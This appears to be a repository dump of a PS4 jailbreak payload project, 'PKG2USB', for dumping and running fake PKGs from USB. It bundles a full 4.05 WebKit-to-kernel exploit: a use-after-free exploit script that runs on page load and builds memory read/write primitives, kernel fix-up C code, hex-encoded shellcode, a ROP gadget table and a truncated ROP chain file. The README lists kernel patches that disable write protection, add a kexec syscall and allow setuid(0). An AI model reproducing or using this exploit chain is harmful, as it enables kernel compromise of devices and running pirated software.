├── 405 ├── Makefile ├── README.md ├── build.sh ├── clean.sh ├── exploit │ ├── README.md │ ├── expl.js │ ├── fix.c │ ├── fix.js │ ├── gadgets.js │ ├── index.html │ ├── payload.js │ ├── rop.js │ └── syscalls.js ├── include │ ├── cfg.h │ ├── debug.h │ ├── defines.h │ ├── elf64.h │ ├── elf_common.h │ ├── link.h │ ├── main.h │ ├── pkg.h │ └── utils.h ├── move.sh ├── ps4-pkg2usb.cfg ├── send.sh ├── source │ ├── cfg.c │ ├── debug.c │ ├── link.c │ ├── main.c │ ├── pkg.c │ └── utils.c └── tool │ ├── Makefile │ └── bin2js.c ├── .gitignore ├── LICENSE ├── Makefile ├── README.md ├── build.sh ├── clean.sh ├── exploit ├── README.md ├── expl.js ├── fix.c ├── fix.js ├── gadgets.js ├── index.html ├── payload.js ├── rop.js └── syscalls.js ├── include ├── cfg.h ├── debug.h ├── defines.h ├── elf64.h ├── elf_common.h ├── link.h ├── main.h ├── pkg.h └── utils.h ├── move.sh ├── ps4-pkg2usb.cfg ├── send.sh ├── source ├── cfg.c ├── debug.c ├── link.c ├── main.c ├── pkg.c └── utils.c └── tool ├── Makefile └── bin2js.c /.gitignore: -------------------------------------------------------------------------------- 1 | # Prerequisites 2 | *.d 3 | 4 | # Object files 5 | *.o 6 | *.ko 7 | *.obj 8 | *.elf 9 | 10 | # Linker output 11 | *.ilk 12 | *.map 13 | *.exp 14 | 15 | # Precompiled Headers 16 | *.gch 17 | *.pch 18 | 19 | # Libraries 20 | *.lib 21 | *.a 22 | *.la 23 | *.lo 24 | 25 | # Shared objects (inc. Windows DLLs) 26 | *.dll 27 | *.so 28 | *.so.* 29 | *.dylib 30 | 31 | # Executables 32 | *.exe 33 | *.out 34 | *.app 35 | *.i*86 36 | *.x86_64 37 | *.hex 38 | 39 | # Debug files 40 | *.dSYM/ 41 | *.su 42 | *.idb 43 | *.pdb 44 | 45 | # Kernel Module Compile Results 46 | *.mod* 47 | *.cmd 48 | .tmp_versions/ 49 | modules.order 50 | Module.symvers 51 | Mkfile.old 52 | dkms.conf 53 | -------------------------------------------------------------------------------- /405/Makefile: -------------------------------------------------------------------------------- 1 | LIBPS4 := $(PS4SDK)/libPS4 2 | 3 | TEXT := 0x926200000 4 | DATA := 0x926300000 5 | 6 | CC := gcc 7 | AS := gcc 8 | OBJCOPY := objcopy 9 | ODIR := build 10 | SDIR := source 11 | IDIRS := -I$(LIBPS4)/include -I. -Iinclude 12 | LDIRS := -L$(LIBPS4) -L. -Llib 13 | CFLAGS := $(IDIRS) -O3 -std=gnu11 -fno-builtin -nostartfiles -nostdlib -Wall -masm=intel -march=btver2 -mtune=btver2 -m64 -mabi=sysv -mcmodel=large 14 | SFLAGS := -nostartfiles -nostdlib -masm=intel -march=btver2 -mtune=btver2 -m64 -mabi=sysv -mcmodel=large 15 | LFLAGS := $(LDIRS) -Xlinker -T $(LIBPS4)/linker.x -Wl,--build-id=none -Ttext=$(TEXT) -Tdata=$(DATA) 16 | CFILES := $(wildcard $(SDIR)/*.c) 17 | SFILES := $(wildcard $(SDIR)/*.s) 18 | OBJS := $(patsubst $(SDIR)/%.c, $(ODIR)/%.o, $(CFILES)) $(patsubst $(SDIR)/%.s, $(ODIR)/%.o, $(SFILES)) 19 | 20 | LIBS := -lPS4 21 | 22 | TARGET = $(shell basename $(CURDIR)).bin 23 | 24 | $(TARGET): $(ODIR) $(OBJS) 25 | $(CC) $(LIBPS4)/crt0.s $(ODIR)/*.o -o temp.t $(CFLAGS) $(LFLAGS) $(LIBS) 26 | $(OBJCOPY) -R .sc_rop temp.t temp.u 27 | $(OBJCOPY) -O binary temp.u $(TARGET) 28 | rm -f temp.t temp.u 29 | 30 | $(ODIR)/%.o: $(SDIR)/%.c 31 | $(CC) -c -o $@ $< $(CFLAGS) 32 | 33 | $(ODIR)/%.o: $(SDIR)/%.s 34 | $(AS) -c -o $@ $< $(SFLAGS) 35 | 36 | $(ODIR): 37 | @mkdir $@ 38 | 39 | .PHONY: clean 40 | 41 | clean: 42 | rm -f $(TARGET) $(ODIR)/*.o 43 | -------------------------------------------------------------------------------- /405/README.md: -------------------------------------------------------------------------------- 1 | # PS4 PKG2USB – Dump and run Fake PKGs on USB – 4.05/4.55 Payload by SiSTRo 2 | 3 | This is a PS4 payload (based on Vortex’s dumper) to dump and run fake PKGs on USB. 4 | 5 | 6 | 7 | - USB drive must be formatted to exFAT 8 | 9 | - works only with fpkg (not official pkg) 10 | 11 | - game/app have to be before installed as usually on internal storage 12 | 13 | - copy ps4-pkg2usb.cfg to usb root 14 | 15 | - edit config title_id with game/app title_id 16 | 17 | - always use the same USB port that when you installed game 18 | 19 | - to reinstall game to internal hdd, remove and reinstall as usual 20 | 21 | 22 | 23 | tip: if you still have the pkg and you want to avoid wasting time waiting for the file to be copied from the payload on the USB HDD, 24 | copy the pkg to X:\PS4\CUSAxxxxx\app.pkg -------------------------------------------------------------------------------- /405/build.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | set -e 4 | 5 | pushd tool 6 | make 7 | popd 8 | 9 | make 10 | 11 | tool/bin2js ps4-pkg2usb.bin > exploit/payload.js 12 | -------------------------------------------------------------------------------- /405/clean.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | pushd tool 4 | make clean 5 | popd 6 | 7 | make clean 8 | 9 | rm -f *.bin 10 | -------------------------------------------------------------------------------- /405/exploit/README.md: -------------------------------------------------------------------------------- 1 | # PS4 4.05 Kernel Exploit 2 | --- 3 | ## Summary 4 | In this project you will find a full implementation of the "namedobj" kernel exploit for the PlayStation 4 on 4.05. It will allow you to run arbitrary code as kernel, to allow jailbreaking and kernel-level modifications to the system. This release contain game Dumper for PS4 payload code by Vortex 5 | 6 | You can find fail0verflow's original write-up on the bug [here](https://fail0verflow.com/blog/2017/ps4-namedobj-exploit/), you can find my technical write-up which dives more into implementation specifics [here](https://github.com/Cryptogenic/Exploit-Writeups/blob/master/PS4/%22NamedObj%22%204.05%20Kernel%20Exploit%20Writeup.md). 7 | 8 | ## Patches Included 9 | The following patches are made by default in the kernel ROP chain: 10 | 1) Disable kernel write protection 11 | 2) Allow RWX (read-write-execute) memory mapping 12 | 3) Dynamic Resolving (`sys_dynlib_dlsym`) allowed from any process 13 | 4) Custom system call #11 (`kexec()`) to execute arbitrary code in kernel mode 14 | 5) Allow unprivileged users to call `setuid(0)` successfully. Works as a status check, doubles as a privilege escalation. 15 | 6) Game dumper for PS4 payload code by Vortex 16 | 17 | ## Notes 18 | - This exploit is actually incredibly stable at around 95% in my tests. WebKit very rarely crashes and the same is true with kernel. 19 | - I've built in a patch so the kernel exploit will only run once on the system. You can still make additional patches via payloads. 20 | - A custom syscall is added (#11) to execute any RWX memory in kernel mode, this can be used to execute payloads that want to do fun things like jailbreaking and patching the kernel. 21 | - An SDK is not provided in this release, however a barebones one to get started with may be released at a later date. 22 | 23 | ## Contributors 24 | I was not alone in this exploit's development, and would like to thank those who helped me along the way below. 25 | 26 | - [qwertyoruiopz](https://twitter.com/qwertyoruiopz) 27 | - [Flatz](https://twitter.com/flat_z) 28 | - [CTurt](https://twitter.com/CTurtE) 29 | - [IDC](https://twitter.com/3226_2143) 30 | - Anonymous 31 | -------------------------------------------------------------------------------- /405/exploit/expl.js: -------------------------------------------------------------------------------- 1 | /* Set up variables that will be used later on */ 2 | var _dview; 3 | 4 | /* 5 | Zero out a buffer 6 | */ 7 | function zeroFill( number, width ) 8 | { 9 | width -= number.toString().length; 10 | if ( width > 0 ) 11 | { 12 | return new Array( width + (/\./.test( number ) ? 2 : 1) ).join( '0' ) + number; 13 | } 14 | return number + ""; // always return a string 15 | } 16 | 17 | /* 18 | Int64 library for address operations 19 | */ 20 | function int64(low,hi) { 21 | this.low = (low>>>0); 22 | this.hi = (hi>>>0); 23 | this.add32inplace = function(val) { 24 | var new_lo = (((this.low >>> 0) + val) & 0xFFFFFFFF) >>> 0; 25 | var new_hi = (this.hi >>> 0); 26 | if (new_lo < this.low) { 27 | new_hi++; 28 | } 29 | this.hi=new_hi; 30 | this.low=new_lo; 31 | } 32 | this.add32 = function(val) { 33 | var new_lo = (((this.low >>> 0) + val) & 0xFFFFFFFF) >>> 0; 34 | var new_hi = (this.hi >>> 0); 35 | if (new_lo < this.low) { 36 | new_hi++; 37 | } 38 | return new int64(new_lo, new_hi); 39 | } 40 | this.sub32 = function(val) { 41 | var new_lo = (((this.low >>> 0) - val) & 0xFFFFFFFF) >>> 0; 42 | var new_hi = (this.hi >>> 0); 43 | if (new_lo > (this.low) & 0xFFFFFFFF) { 44 | new_hi--; 45 | } 46 | return new int64(new_lo, new_hi); 47 | } 48 | this.sub32inplace = function(val) { 49 | var new_lo = (((this.low >>> 0) - val) & 0xFFFFFFFF) >>> 0; 50 | var new_hi = (this.hi >>> 0); 51 | if (new_lo > (this.low) & 0xFFFFFFFF) { 52 | new_hi--; 53 | } 54 | this.hi=new_hi; 55 | this.low=new_lo; 56 | } 57 | this.and32 = function(val) { 58 | var new_lo = this.low & val; 59 | var new_hi = this.hi; 60 | return new int64(new_lo, new_hi); 61 | } 62 | this.and64 = function(vallo, valhi) { 63 | var new_lo = this.low & vallo; 64 | var new_hi = this.hi & valhi; 65 | return new int64(new_lo, new_hi); 66 | } 67 | this.toString = function(val) { 68 | val = 16; // eh 69 | var lo_str = (this.low >>> 0).toString(val); 70 | var hi_str = (this.hi >>> 0).toString(val); 71 | if(this.hi == 0) return lo_str; 72 | else { 73 | lo_str = zeroFill(lo_str, 8) 74 | } 75 | return hi_str+lo_str; 76 | } 77 | this.toPacked = function() { 78 | return {hi: this.hi, low: this.low}; 79 | } 80 | this.setPacked = function(pck) { 81 | this.hi=pck.hi; 82 | this.low=pck.low; 83 | return this; 84 | } 85 | 86 | return this; 87 | } 88 | 89 | var memPressure = new Array(400); // For forcing GC via memory pressure 90 | var stackFrame = []; // Our fake stack in memory 91 | var frameIndex = 0; // Set index in fake stack to 0 (0xFF00) 92 | var stackPeek = 0; 93 | 94 | /* Force garbage collection via memory pressure */ 95 | var doGarbageCollection = function() 96 | { 97 | /* Apply memory pressure */ 98 | for (var i = 0; i < memPressure.length; i++) 99 | { 100 | memPressure[i] = new Uint32Array(0x10000); 101 | } 102 | 103 | /* Zero out the buffer */ 104 | for (var i = 0; i < memPressure.length; i++) 105 | { 106 | memPressure[i] = 0; 107 | } 108 | } 109 | 110 | /* For peeking the stack (reading) */ 111 | function peek_stack() 112 | { 113 | var mem; 114 | var retno; 115 | var oldRetno; 116 | 117 | /* Set arguments.length to return 0xFFFF on first call, and 1 on subsequent calls */ 118 | retno = 0xFFFF; 119 | 120 | arguments.length = 121 | { 122 | valueOf: function() 123 | { 124 | oldRetno = retno; 125 | retno = 1; 126 | return oldRetno; 127 | } 128 | } 129 | 130 | /* 131 | What this essentially does is when function.prototype.apply() is called, it will 132 | check arguments length. Where it should return 1 (the actual size), it actually 133 | returns 0xFFFF due to the function above. This allows an out-of-bounds read 134 | on the stack, and allows us to control uninitialized memory regions 135 | */ 136 | var args = arguments; 137 | 138 | (function() { 139 | (function() { 140 | (function() { 141 | mem = arguments[0xFF00]; 142 | }).apply(undefined, args); 143 | }).apply(undefined, stackFrame); 144 | }).apply(undefined, stackFrame); 145 | 146 | stackPeek = mem; 147 | 148 | return mem; 149 | } 150 | 151 | /* For poking the stack (writing) */ 152 | function poke_stack(val) 153 | { 154 | /* Set stack frame value @ frameIndex */ 155 | stackFrame[frameIndex] = val; 156 | 157 | /* Apply to uninitialized memory region on the stack */ 158 | (function() { 159 | (function() { 160 | (function() { 161 | }).apply(null, stackFrame); 162 | }).apply(null, stackFrame); 163 | }).apply(null, stackFrame); 164 | 165 | /* Clear value in stack frame @ frameIndex as it's been applied already */ 166 | stackFrame[frameIndex] = ""; 167 | } 168 | 169 | /* Run exploit PoC */ 170 | function run() { 171 | try 172 | { 173 | /* 174 | Set each integer in the stackframe to it's index, this way we can peek 175 | the stack to align it 176 | */ 177 | for(var i = 0; i < 0xFFFF; i++) 178 | { 179 | stackFrame[i] = i; 180 | } 181 | 182 | /* 183 | Attempt to poke and peek the stack. If the peek returns null, it means 184 | the out-of-bounds read failed, throw an exception and catch it. 185 | */ 186 | frameIndex = 0; 187 | poke_stack(0); 188 | 189 | if (peek_stack() == undefined) { 190 | throw "System is not vulnerable!"; 191 | } 192 | 193 | /* Setup our stack frame so our target object reference resides inside of it */ 194 | frameIndex = 0; 195 | poke_stack(0); 196 | 197 | peek_stack(); 198 | frameIndex = stackPeek; 199 | 200 | /* Align the stack frame */ 201 | poke_stack(0x4141); 202 | 203 | for (var align = 0; align < 8; align++) 204 | (function(){})(); 205 | 206 | /* Test if we aligned our stack frame properly, if not throw exception and catch */ 207 | peek_stack(); 208 | 209 | if (stackPeek != 0x4141) 210 | { 211 | throw "Couldn't align stack frame to stack!"; 212 | } 213 | 214 | /* Setup spray to overwrite the length header in UAF'd object's butterfly */ 215 | var butterflySpray = new Array(0x1000); 216 | 217 | for (var i = 0; i < 0x1000; i++) 218 | { 219 | butterflySpray[i] = []; 220 | 221 | for (var k = 0; k < 0x40; k++) 222 | { 223 | butterflySpray[i][k] = 0x42424242; 224 | } 225 | 226 | butterflySpray[i].unshift(butterflySpray[i].shift()); 227 | } 228 | 229 | /* Spray marked space */ 230 | var sprayOne = new Array(0x100); 231 | 232 | for (var i = 0; i < 0x100; i++) 233 | { 234 | sprayOne[i] = [1]; 235 | 236 | if (!(i & 3)) 237 | { 238 | for (var k = 0; k < 0x8; k++) 239 | { 240 | sprayOne[i][k] = 0x43434343; 241 | } 242 | } 243 | 244 | sprayOne[i].unshift(sprayOne[i].shift()); 245 | } 246 | 247 | var sprayTwo = new Array(0x400); 248 | 249 | for (var i = 0; i < 0x400; i++) 250 | { 251 | sprayTwo[i] = [2]; 252 | 253 | if (!(i & 3)) 254 | { 255 | for (var k = 0; k < 0x80; k++) 256 | { 257 | sprayTwo[i][k] = 0x43434343; 258 | } 259 | } 260 | 261 | sprayTwo[i].unshift(sprayTwo[i].shift()); 262 | } 263 | 264 | /* Setup target object for UAF, spray */ 265 | var uafTarget = []; 266 | 267 | for (var i = 0; i < 0x80; i++) { 268 | uafTarget[i] = 0x42420000; 269 | } 270 | 271 | /* Store target on the stack to maintain a reference after forced garbage collection */ 272 | poke_stack(uafTarget); 273 | 274 | /* Remove references so they're free'd when garbage collection occurs */ 275 | uafTarget = 0; 276 | sprayOne = 0; 277 | sprayTwo = 0; 278 | 279 | /* Force garbage collection */ 280 | for (var k = 0; k < 4; k++) 281 | doGarbageCollection(); 282 | 283 | /* Re-collect our maintained reference from the stack */ 284 | peek_stack(); 285 | uafTarget = stackPeek; 286 | 287 | stackPeek = 0; 288 | 289 | /* 290 | We now have access to uninitialized memory, force a heap overflow by 291 | overwriting the "length" field of our UAF'd object's butterfly via spraying 292 | */ 293 | for (var i = 0; i < 0x1000; i++) 294 | { 295 | for (var k = 0x0; k < 0x80; k++) 296 | { 297 | butterflySpray[i][k] = 0x7FFFFFFF; 298 | 299 | /* 300 | Find our UAF'd object via modified length, which should be the maximum 301 | value for a 32-bit integer. If it is, we've successfully primitive our 302 | butterfly's length header! 303 | */ 304 | if (uafTarget.length == 0x7FFFFFFF) 305 | { 306 | /* Store index of butterfly for UAF'd object for primitiveSpray */ 307 | var butterflyIndex = i; 308 | 309 | /* Remove all references except what we need to free memory */ 310 | for (var i = 0; i < butterflyIndex; i++) 311 | butterflySpray[i] = 0; 312 | 313 | for (var i = butterflyIndex + 1; i < 0x1000; i++) 314 | butterflySpray[i] = 0; 315 | 316 | doGarbageCollection(); 317 | 318 | /* Spray to obtain a read/write primitive */ 319 | var primitiveSpray = new Array(0x20000); 320 | var potentialPrim = new ArrayBuffer(0x1000); 321 | 322 | for (var i = 0; i < 0x20000; i++) 323 | { 324 | primitiveSpray[i] = i; 325 | } 326 | 327 | var overlap = new Array(0x80); 328 | 329 | /* Setup potential uint32array slaves for our read/write primitive */ 330 | for (var i = 0; i < 0x20000; i++) 331 | { 332 | primitiveSpray[i] = new Uint32Array(potentialPrim); 333 | } 334 | 335 | /* Find a slave uint32array from earlier spray */ 336 | var currentQword = 0x10000; 337 | var found = false; 338 | var smashedButterfly = new int64(0,0); 339 | var origData = new int64(0, 0); 340 | var locateHelper = new int64(0, 0); 341 | 342 | while (!found) 343 | { 344 | /* 345 | Change qword value for uint32array size to 0x1337 in UAF'd object 346 | to defeat U-ASLR 347 | */ 348 | var savedVal = uafTarget[currentQword]; 349 | uafTarget[currentQword] = 0x1337; 350 | 351 | /* Check sprayed uint32array slaves for modified size */ 352 | for (var i = 0; i < 0x20000; i++) 353 | { 354 | if (primitiveSpray[i] && primitiveSpray[i].byteLength != 0x1000) 355 | { 356 | /* 357 | Found our primitive! Restore uint32array size as 0x1000 is 358 | sufficient. 359 | */ 360 | uafTarget[currentQword] = savedVal; 361 | 362 | var primitive = primitiveSpray[i]; 363 | var overlap = [1337]; 364 | 365 | uafTarget[currentQword - 5] = overlap; 366 | 367 | smashedButterfly.low = primitive[2]; 368 | smashedButterfly.hi = primitive[3]; 369 | smashedButterfly.keep_gc = overlap; 370 | 371 | /* Find previous ArrayBufferView */ 372 | uafTarget[currentQword - 5] = uafTarget[currentQword - 2]; 373 | 374 | butterflySpray[butterflyIndex][k] = 0; 375 | 376 | origData.low = primitive[4]; 377 | origData.hi = primitive[5]; 378 | 379 | primitive[4] = primitive[12]; 380 | primitive[5] = primitive[13]; 381 | primitive[14] = 0x40; 382 | 383 | /* Find our uint32array slave for writing values */ 384 | var slave = undefined; 385 | 386 | for (var k = 0; k < 0x20000; k++) 387 | { 388 | if (primitiveSpray[k].length == 0x40) 389 | { 390 | slave = primitiveSpray[k]; 391 | break; 392 | } 393 | } 394 | 395 | if(!slave) 396 | throw "Could not find slave for write primitive!"; 397 | 398 | /* Set primitive address to that of the smashed butterfly's */ 399 | primitive[4] = smashedButterfly.low; 400 | primitive[5] = smashedButterfly.hi; 401 | 402 | /* Setup primitive and slave for primitive functions */ 403 | overlap[0] = uafTarget; 404 | 405 | var targetEntry = new int64(slave[0], slave[1]); 406 | 407 | primitive[4] = targetEntry.low; 408 | primitive[5] = targetEntry.hi; 409 | slave[2] = 0; 410 | slave[3] = 0; 411 | 412 | /* Clear references for future collection from GC */ 413 | uafTarget = 0; 414 | primitiveSpray = 0; 415 | 416 | /* Finally restore primitive address to it's original state */ 417 | primitive[4] = origData.low; 418 | primitive[5] = origData.hi; 419 | 420 | /* 421 | Derive primitive functions 422 | */ 423 | 424 | /* Purpose: Leak object addresses for ASLR defeat */ 425 | var leakval = function(obj) 426 | { 427 | primitive[4] = smashedButterfly.low; 428 | primitive[5] = smashedButterfly.hi; 429 | 430 | overlap[0] = obj; 431 | 432 | var val = new int64(slave[0], slave[1]); 433 | 434 | slave[0] = 1337; 435 | slave[1] = 0xffff0000; 436 | 437 | primitive[4] = origData.low; 438 | primitive[5] = origData.hi; 439 | 440 | return val; 441 | } 442 | 443 | /* Purpose: Create a value (used for checking the primitive) */ 444 | var createval = function(val) 445 | { 446 | primitive[4] = smashedButterfly.low; 447 | primitive[5] = smashedButterfly.hi; 448 | 449 | slave[0] = val.low; 450 | slave[1] = val.hi; 451 | 452 | var val = overlap[0]; 453 | 454 | slave[0] = 1337; 455 | slave[1] = 0xffff0000; 456 | 457 | primitive[4] = origData.low; 458 | primitive[5] = origData.hi; 459 | 460 | return val; 461 | } 462 | 463 | /* Purpose: Read 32-bits (or 4 bytes) from address */ 464 | var read32 = function(addr) 465 | { 466 | primitive[4] = addr.low; 467 | primitive[5] = addr.hi; 468 | 469 | var val = slave[0]; 470 | 471 | primitive[4] = origData.low; 472 | primitive[5] = origData.hi; 473 | 474 | return val; 475 | } 476 | 477 | /* Purpose: Read 64-bits (or 8 bytes) from address */ 478 | var read64 = function(addr) 479 | { 480 | primitive[4] = addr.low; 481 | primitive[5] = addr.hi; 482 | 483 | var val = new int64(slave[0], slave[1]); 484 | 485 | primitive[4] = origData.low; 486 | primitive[5] = origData.hi; 487 | 488 | return val; 489 | } 490 | 491 | /* Purpose: Write 32-bits (or 4 bytes) to address */ 492 | var write32 = function(addr, val) 493 | { 494 | primitive[4] = addr.low; 495 | primitive[5] = addr.hi; 496 | 497 | slave[0] = val; 498 | 499 | primitive[4] = origData.low; 500 | primitive[5] = origData.hi; 501 | } 502 | 503 | /* Purpose: Write 64-bits (or 8 bytes) to address */ 504 | var write64 = function(addr, val) 505 | { 506 | primitive[4] = addr.low; 507 | primitive[5] = addr.hi; 508 | 509 | if (val == undefined) 510 | { 511 | val = new int64(0,0); 512 | } 513 | if (!(val instanceof int64)) 514 | { 515 | val = new int64(val,0); 516 | } 517 | 518 | slave[0] = val.low; 519 | slave[1] = val.hi; 520 | 521 | primitive[4] = origData.low; 522 | primitive[5] = origData.hi; 523 | } 524 | 525 | if (createval(leakval(0x1337)) != 0x1337) { 526 | throw "Primitive is broken, jsvalue leaked does not match jsvalue created!"; 527 | } 528 | 529 | var testData = [1,2,3,4,5,6,7,8]; 530 | 531 | var testAddr = leakval(testData); 532 | 533 | var butterflyAddr = read64(testAddr.add32(8)); 534 | 535 | if ((butterflyAddr.low == 0 && butterflyAddr.hi == 0) || createval(read64(butterflyAddr)) != 1) { 536 | throw "Primitive is broken, either butterfly address is null or object is not a valid jsvalue!"; 537 | } 538 | 539 | if (window.postexploit) { 540 | window.postexploit({ 541 | read4: read32, 542 | read8: read64, 543 | write4: write32, 544 | write8: write64, 545 | leakval: leakval, 546 | createval: createval 547 | }); 548 | } 549 | return 2; 550 | } 551 | } 552 | uafTarget[currentQword] = savedVal; 553 | currentQword ++; 554 | } 555 | } 556 | } 557 | } 558 | /* 559 | If we ended up here, the exploit failed to find our resized object/we were 560 | not able to modify the UaF'd target's length :( 561 | */ 562 | return 1; 563 | } 564 | catch (e) 565 | { 566 | alert(e); 567 | } 568 | } 569 | 570 | //window.onload = function() { document.getElementById("clck").innerHTML = 'go'; }; 571 | window.onload = function() { run(); }; -------------------------------------------------------------------------------- /405/exploit/fix.c: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | #define KERN_XFAST_SYSCALL 0x30EB30 4 | #define KERN_MALLOC 0x1D1700 5 | #define KERN_FREE 0x1D18D0 6 | #define KERN_PRINTF 0x347580 7 | 8 | int main(void) 9 | { 10 | int i; 11 | void *addr; 12 | uint8_t *ptrKernel; 13 | 14 | int (*printf)(const char *fmt, ...) = NULL; 15 | void *(*malloc)(unsigned long size, void *type, int flags) = NULL; 16 | void (*free)(void *addr, void *type) = NULL; 17 | 18 | // Get kbase and resolve kernel symbols 19 | ptrKernel = (uint8_t *)(rdmsr(0xc0000082) - KERN_XFAST_SYSCALL); 20 | malloc = (void *)&ptrKernel[KERN_MALLOC]; 21 | free = (void *)&ptrKernel[KERN_FREE]; 22 | printf = (void *)&ptrKernel[KERN_PRINTF]; 23 | 24 | uint8_t *objBase = (uint8_t *)(*(uint64_t *)(0xDEAD0000)); 25 | 26 | // Fix stuff in object that's corrupted by exploit 27 | *(uint64_t *)(objBase + 0x0E0) = 0x7773706964; 28 | *(uint64_t *)(objBase + 0x0F0) = 0; 29 | *(uint64_t *)(objBase + 0x0F8) = 0; 30 | 31 | // Malloc so object doesn't get smashed 32 | for (i = 0; i < 512; i++) 33 | { 34 | addr = malloc(0x180, &ptrKernel[0x133F680], 0x02); 35 | 36 | printf("Alloc: 0x%lx\n", addr); 37 | 38 | if (addr == (void *)objBase) 39 | break; 40 | 41 | free(addr, &ptrKernel[0x133F680]); 42 | } 43 | 44 | printf("Object Dump 0x%lx\n", objBase); 45 | 46 | for (i = 0; i < 0x180; i += 8) 47 | printf(" Object + 0x%03x: 0x%lx\n", i, *(uint64_t *)(*(uint64_t *)(0xDEAD0000) + i)); 48 | 49 | // EE :) 50 | 51 | return 0; 52 | } 53 | -------------------------------------------------------------------------------- /405/exploit/fix.js: -------------------------------------------------------------------------------- 1 | var fix = [0x00000be9,0x90909000,0x90909090,0x90909090,0x0082b955,0x8948c000,0x415741e5,0x41554156,0x83485354,0x320f18ec,0x89d58949,0x64b948c0,0x77737069,0x49000000,0x4120e5c1,0x000200bc,0xc5094900,0xd0b58d4d,0x49ffcf14,0x8a509d8d,0x81490003,0x030b50c5,0x868d4901,0x001d18d0,0x00c68149,0x48001d17,0x48c04589,0xad0000a1,0x000000de,0x45894800,0x888948c8,0x000000e0,0xf080c748,0x00000000,0x48000000,0x00f880c7,0x00000000,0x1aeb0000,0x00841f0f,0x00000000,0x4cee894c,0x8b48ff89,0xd0ffc045,0x01ec8341,0x02ba2774,0x4c000000,0x80bfee89,0x41000001,0x8d48d6ff,0x00006f3d,0xc7894900,0x31c68948,0x4cd3ffc0,0x75c87d39,0xe43145c7,0xc8758b48,0x5f3d8d48,0x31000000,0x0fd3ffc0,0x0000441f,0x0000a148,0x0000dead,0x89440000,0x3d8d48e6,0x0000005c,0x20148b4a,0x08c48349,0xd3ffc031,0x80fc8149,0x75000001,0x3d8d48d7,0x00000060,0xd3ffc031,0x18c48348,0x415bc031,0x415d415c,0x5d5f415e,0x909090c3,0x6f6c6c41,0x30203a63,0x786c2578,0x624f000a,0x7463656a,0x6d754420,0x78302070,0x0a786c25,0x00000000,0x00000000,0x6265443c,0x203e6775,0x656a624f,0x2b207463,0x25783020,0x3a783330,0x25783020,0x000a786c,0x6265443c,0x203e6775,0x7473754a,0x726f4620,0x7468203a,0x3a737074,0x77772f2f,0x6f792e77,0x62757475,0x6f632e65,0x61772f6d,0x3f686374,0x4a563d76,0x6d6c5247,0x4c6c6133,0x00000a59]; 2 | -------------------------------------------------------------------------------- /405/exploit/gadgets.js: -------------------------------------------------------------------------------- 1 | /* For storing the gadget and import map */ 2 | window.gadgetMap = []; 3 | window.basicImportMap = []; 4 | 5 | /* All function stubs / imports from other modules */ 6 | var generateBasicImportMap = function() 7 | { 8 | window.basicImportMap = 9 | { 10 | '4.05': 11 | { 12 | 'setjmp': getGadget('libSceWebKit2', 0x270), // setjmp imported from libkernel 13 | '__stack_chk_fail_ptr': getGadget('libSceWebKit2', 0x2729260), // __stack_chk_fail imported from libkernel 14 | '__stack_chk_fail_offset': 0xD0D0, // offset of __stack_chk_fail from start of libkernel 15 | } 16 | }; 17 | } 18 | 19 | /* All gadgets from the binary of available modules */ 20 | var generateGadgetMap = function() 21 | { 22 | window.gadgetMap = 23 | { 24 | '4.05': 25 | { 26 | 'pop rsi': getGadget('libSceWebKit2', 0xA459E), 27 | 'pop rdi': getGadget('libSceWebKit2', 0x10F1C1), 28 | 'pop rax': getGadget('libSceWebKit2', 0x1D70B), 29 | 'pop rcx': getGadget('libSceWebKit2', 0x1FCA9B), 30 | 'pop rdx': getGadget('libSceWebKit2', 0xD6660), 31 | 'pop r8': getGadget('libSceWebKit2', 0x4A3B0D), 32 | 'pop r9': getGadget('libSceWebKit2', 0xEB5F8F), 33 | 'pop rsp': getGadget('libSceWebKit2', 0x20AEB0), 34 | 35 | 'push rax': getGadget('libSceWebKit2', 0x126EFC), 36 | 37 | 'add rax, rcx': getGadget('libSceWebKit2', 0x86F06), 38 | 39 | 'mov rax, rdi': getGadget('libSceWebKit2', 0x5863), 40 | 'mov qword ptr [rdi], rax': getGadget('libSceWebKit2', 0x11ADD7), 41 | 'mov qword ptr [rdi], rsi': getGadget('libSceWebKit2', 0x43CF70), 42 | 43 | 'mov rax, qword ptr [rax]': getGadget('libSceWebKit2', 0xFD88D), 44 | 45 | 'jmp addr': getGadget('libSceWebKit2', 0x852624), 46 | 47 | 'infloop': getGadget('libSceWebKit2', 0x45A11), 48 | 'jmp rax': getGadget('libSceWebKit2', 0x1CA2B9), 49 | 'push rax; jmp rcx': getGadget('libSceWebKit2', 0x469B80), 50 | 51 | 'ret': getGadget('libSceWebKit2', 0xC8), 52 | 'syscall': getGadget('libSceWebKit2', 0x1C69388), 53 | } 54 | }; 55 | } 56 | -------------------------------------------------------------------------------- /405/exploit/rop.js: -------------------------------------------------------------------------------- 1 | /* Leave these values untouched, they will be set properly post-exploitation */ 2 | var moduleBaseAddresses = 3 | { 4 | 'libkernel': 0, 5 | 'libSceWebKit2': 0, 6 | 'libSceLibcInternal': 0 7 | }; 8 | 9 | /* Simply adds given offset to given module's base address */ 10 | function getGadget(moduleName, offset) 11 | { 12 | return moduleBaseAddresses[moduleName].add32(offset); 13 | } 14 | 15 | var memory = function(p, address) 16 | { 17 | this.basePtr = address 18 | this.dataPtr = 0; 19 | 20 | /* Return a pointer in mmap'd memory */ 21 | this.allocate = function(size) 22 | { 23 | /* Prevent buffer overflow / pagefault */ 24 | if(this.dataPtr > 0x10000 || this.dataPtr + size > 0x10000) 25 | { 26 | return -1; 27 | } 28 | 29 | var memAddr = this.basePtr.add32(this.dataPtr); 30 | 31 | this.dataPtr += size; 32 | 33 | return memAddr; 34 | }; 35 | 36 | /* Clears all data by zeroing out this.data and resetting count */ 37 | this.clear = function() 38 | { 39 | for(var i = 0; i < 0x10000; i += 8) 40 | { 41 | p.write8(this.basePtr.add32(i), 0); 42 | } 43 | }; 44 | 45 | /* Zero out our data buffer before returning a storage object */ 46 | this.clear(); 47 | 48 | return this; 49 | }; 50 | 51 | /* Called to start a kernel ROP chain */ 52 | var krop = function(p, addr) { 53 | this.chainPtr = addr; 54 | this.count = 0; 55 | 56 | this.push = function(val) 57 | { 58 | p.write8(this.chainPtr.add32(this.count * 8), val); 59 | this.count++; 60 | }; 61 | 62 | this.write64 = function (addr, val) 63 | { 64 | this.push(window.gadgets["pop rdi"]); 65 | this.push(addr); 66 | this.push(window.gadgets["pop rax"]); 67 | this.push(val); 68 | this.push(window.gadgets["mov qword ptr 